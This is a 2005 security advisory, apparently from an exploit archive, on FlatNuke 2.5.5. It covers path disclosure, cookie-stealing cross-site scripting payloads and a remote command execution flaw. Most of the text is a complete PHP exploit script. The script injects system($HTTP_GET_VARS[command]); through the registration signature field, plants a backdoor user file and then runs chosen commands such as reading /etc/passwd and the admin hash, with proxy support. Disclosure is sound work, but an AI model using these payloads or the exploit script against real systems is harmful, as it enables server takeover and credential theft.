0.34 2005-08-05 FlatNuke 2.5.5 (possibly prior versions) remote commands execution / cross site scripting / path disclosure (by rgod) (release date: 2005-07-20 ) software: author site: http://flatnuke.sourceforge.net/ path disclosure: http://[target]/[path]/themes/butterfly/structure.php supllying a null byte to mod parameter http://[target]/[path]/index.php?mod=/%00/Vecchi_sondaggi supplying reserved device names to mod parameter http://[target]/[path]/index.php?mod=prn http://[target]/[path]/index.php?mod=nul http://[target]/[path]/index.php?mod=aux etc. (1) cross site scripting: http://[target]/[path]/themes/butterfly/structure.php?bodycolor=";><script>alert(document.cookie)</script> http://[target]/[path]/themes/butterfly/structure.php?backimage=";><script>alert(document.cookie)</script> http://[target]/[path]/themes/butterfly/structure.php?backimage=whatever&theme=";><script>alert(document.cookie)</script> http://[target]/[path]/themes/butterfly/structure.php?backimage=whatever&bodycolor=";><script>alert(document.cookie)</script> http://[target]/[path]/themes/butterfly/structure.php?logo=";><script>alert(document.cookie)</script> (2) if register_globals in php.ini are off (often), cross site scripting: http://[target]/[path]/forum/footer.php?admin=";><script>alert(document.cookie)</script> http://[target]/[path]/forum/footer.php?admin_mail=";><script>alert(document.cookie)</script> http://[target]/[path]/forum/footer.php?back=";><script>alert(document.cookie)</script> http://[target]/[path]/footer.php?admin=";><script>alert(document.cookie)</script> http://[target]/[path]/footer.php?admin_mail=";><script>alert(document.cookie)</script> patch for (2): replace at line 15: if (eregi("footer.php",$PHP_SELF)) with: if (eregi("footer.php",$SERVER['PHP_SELF'])) (3) cross site scripting: a user can send news to the admin to evaluate, and in the message body insert evil javascript code, so when admin opens news sent, javascript will run. Try this in message body: <script>alert(document.cookie)</script> remote commands execution: when a user registers, flatnuke creates a username.php file in /forum/users directory, like this: <? #b0d7282f4b6f1e09f69c42f148055b5a #jimihendrix #jimihendrix@xxxxxxxxx #http://www.asite.com #artist #whereimfrom #images/clanbomber.png #signature #0 ?> if you call the file, nothing is executed, lines are commented with # char but when you register you can insert ASCII char(13) in records, so if you put it in signature, you have <? #b0d7282f4b6f1e09f69c42f148055b5a #jimihendrix #jimihendrix@xxxxxxxxx #http://www.asite.com #artist #whereimfrom #images/clanbomber.png # signature #0 ?> now if 'signature' is a php instruction like this: system($HTTP_GET_VARS[command]); you have a backdoor on target system and launch commands, example: http://[target]/[path_to_flatnuke]/forum/users/[username].php?command=ls%20-la to list directories... http://[target]/[path_to_flatnuke]/forum/users/[username].php?command=cat%20/etc/passwd to see /etc/passwd file http://[target]/[path_to_flatnuke]/forum/users/[username].php?command=cat%20admin.php to see md5 hash admin password... this is my php proof of concept exploit code with proxy support: <?php /* Aug 2005, 4th Flatnuke 2.5.5 (possibly prior versions) remote code execution by rgod site: http://rgod.altervista.org thanks to UlisseHacker... :) make these changes in php.ini if you have troubles with this script: allow_call_time_pass_reference = on register_globals = on */ error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout", 2); ob_implicit_flush (1); echo '<head><title>FlatNuke 2.5.5 remote commands execution</title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <style type="text/css"> <!-- body,td,th {color: #00FF00;} body {background-color: #000000;} .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-weight: bold; font-style: italic; } --> </style></head> <body> <p class="Stile6">FlatNuke 2.5.5 (possibly prior versions) remote commands execution</p> <p class="Stile6">a script by rgod at <a href="http://rgod.altervista.org"; target="_blank">http://rgod.altervista.org</a></p> <table width="84%" > <tr> <td width="43%"> <form name="form1" method="post" action="'.$SERVER['PHP_SELF'].'?path=value&host=value&port=value&command=value&proxy=value"> <p> <input type="text" name="host"> <span class="Stile5">hostname (ex: www.sitename.com) </span></p> <p> <input type="text" name="path"> <span class="Stile5">path (ex: /flatnuke/forum/ or /forum/ just /) </span></p> <p> <input type="text" name="port"> <span class="Stile5">specify a port other than 80 (default value) </span></p> <p> <input type="text" name="command"> <span class="Stile5">a Unix command, example: ls -la to list directories, cat /etc/passwd to show passwd file </span></p> <p> <input type="text" name="proxy"> <span class="Stile5">send exploit through an HTTP proxy (ip:port) </span></p> <p> <input type="submit" name="Submit" value="go!"> </p> </form></td> </tr> </table> </body> </html>'; function show($headeri) { $ii=0; $ji=0; $ki=0; $ci=0; echo '<table border="0"><tr>'; while ($ii <= strlen($headeri)-1) { $datai=dechex(ord($headeri[$ii])); if ($ji==16) { $ji=0; $ci++; echo "<td> </td>"; for ($li=0; $li<=15; $li++) { echo "<td>".$headeri[$li+$ki]."</td>"; } $ki=$ki+16; echo "</tr><tr>"; } if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else {echo "<td>".$datai."</td> ";} $ii++; $ji++; } for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) { echo "<td>  </td>"; } for ($li=$ci*16; $li<=strlen($headeri); $li++) { echo "<td>".$headeri[$li]."</td>"; } echo "</tr></table>"; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; if (($path<>'') and ($host<>'') and ($command<>'')) { if ($port=='') {$port=80;} $data="op=reg&nome=jimyhendrix®pass=jimihendrix&reregpass=jimihendrix&anag=jimihendrix&email=jimihendrix@xxxxxxxxx&homep=".urlencode('http://www.asite.com')."&prof=artist&prov=whereimfrom&ava=clanbomber.png&url_avatar=&firma=".chr(13).urlencode('system($HTTP_GET_VARS[command]);'); if ($proxy=='') {$packet="POST ".$path."index.php HTTP/1.1\r\n";} else { $c = preg_match_all($proxy_regex,$proxy,$is_proxy); if ($c==0) { echo 'check the proxy...<br>'; die; } else {$packet="POST http://".$host.$path."index.php HTTP/1.1\r\n";} } $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n"; $packet.="Referer: http://".$host.":".$port.$path."index.php?op=vis_reg\r\n";; $packet.="Accept-Language: it\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Accept-Encoding: gzip, deflate\r\n"; $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Keep-Alive\r\n"; $packet.="Cache-Control: no-cache\r\n\r\n"; $packet.=$data; show($packet); if ($proxy=='') {$fp=fsockopen(gethostbyname($host),$port);} else {$parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>'; $fp=fsockopen($parts[0],$parts[1]); if (!$fp) { echo 'No response from proxy...'; die; } } fputs($fp,$packet); $data=''; while ((!feof($fp)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$data))) { $data.=fread($fp,1); } fclose($fp); echo nl2br(htmlentities($data)); if ($proxy=='') {$packet="GET ".$path."users/jimyhendrix.php?command=".urlencode($command)." HTTP/1.1\r\n";} else { $c = preg_match_all($proxy_regex,$proxy,$is_proxy); if ($c==0) { echo 'check the proxy...<br>'; die; } else {$packet="GET http://".$host.$path."users/jimyhendrix.php?command=".urlencode($command)." HTTP/1.1\r\n";} } $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"; $packet.="Accept-Encoding: text/plain\r\n"; $packet.="Host: ".$host."\r\n\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); if ($proxy=='') {$fp=fsockopen(gethostbyname($host),$port);} else {$parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>'; $fp=fsockopen($parts[0],$parts[1]); if (!$fp) { echo 'No response from proxy...'; die; } } fputs($fp,$packet); $data=''; if ($proxy=='') { $data=''; while (!feof($fp)) { $data.=fgets($fp); } } else { $data=''; while ((!feof($fp)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$data))) { $data.=fread($fp,1); } } fclose($fp); if (eregi('HTTP/1.1 200 OK',$data)) {echo 'Exploit sent...<br> If Flatnuke is unpatched and vulnerable <br>'; echo 'you will see '.htmlentities($command).' output inside HTML...<br><br>'; } else {echo 'Error, see output...';} echo nl2br(htmlentities($data)); } ?> sorry for my bad English, rgod site: http://rgod.altervista.org mail: retrogod@xxxxxxxxxxxxx (a thanks to Ulissehacker, http://www.pollohacker.tk for his help...) original advisory: http://www.rgod.altervista.org/flatnuke.html
